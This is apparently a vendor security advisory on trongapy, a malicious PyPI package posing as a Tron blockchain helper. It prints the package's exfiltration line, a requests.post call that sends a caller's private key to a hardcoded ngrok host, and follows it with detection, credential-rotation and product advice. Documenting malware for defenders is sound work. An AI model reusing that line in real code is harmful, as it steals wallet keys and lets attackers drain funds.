trongapyPyPI
Malicious code in trongapy (PyPI) Remove it immediately and rotate any exposed credentials.
What this malware does
The package's only public function, perm(private_key) in trongapy/main.py, unconditionally POSTs the caller-supplied Tron private key as JSON to a hardcoded ngrok tunnel: requests.post('https://reda-sequestered-justine.ngrok-free.dev/tron', json={'private_key': private_key}). The package name 'trongapy' suggests a Tron blockchain helper; any developer who invokes the advertised API with a real private key silently transmits that key to the author, who can then drain the associated wallets. No disclosure of this transmission appears in package documentation. Package metadata further undermines provenance: setup.py lists author 'mirontrx' ([email protected]) while the 'Source Repository' URL points to an unrelated GitHub user with a literal 'replace with your github source' placeholder comment.
Package appears to be designed for private key exfiltration, but no known usage. The name appears to be related to the cryptocurrency TRX (Tron / Tronix). Some packages additionally clone the readme of other, legit libraries. The similar packages are repeating uploaded to PyPI
Category: MALICIOUS - The campaign has clearly malicious intent, like infostealers.
Campaign: 2025-04-tronix
Reasons (based on the campaign):
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exfiltration-generic
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crypto-related
Malicious versions
Indicators of compromise (SHA-256)
Detection & response playbook
Credential / info stealerFind it
Scan your lockfiles (package-lock.json, pnpm-lock.yaml, yarn.lock, requirements.txt, poetry.lock, etc.) and build artifacts for trongapy (version 0.0.1). O3 Security's supply-chain scanner checks every dependency against known-malicious package intelligence at install time and in CI, flagging trongapy across your stack and pipelines.
If you installed it — respond
trongapy is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.
Did it already run?
If trongapy was ever installed, its post-install/runtime payload may have already executed. O3's L7 egress monitoring and runtime eBPF sensors detect the credential exfiltration or command-and-control callback after install and block the malicious outbound channel, so you catch and contain the actual compromise — not just the presence of the package.
How O3 protects you
O3 blocks trongapy before install through its supply-chain scanner, and if it has already run, detects and severs the exfiltration or C2 callback at runtime through L7 egress monitoring and eBPF.
Frequently asked questions
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References
Credits
- Amazon Inspector · finder
- Kamil Mańkowski (kam193) · analyst
Detect & block this
O3 blocks trongapy-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.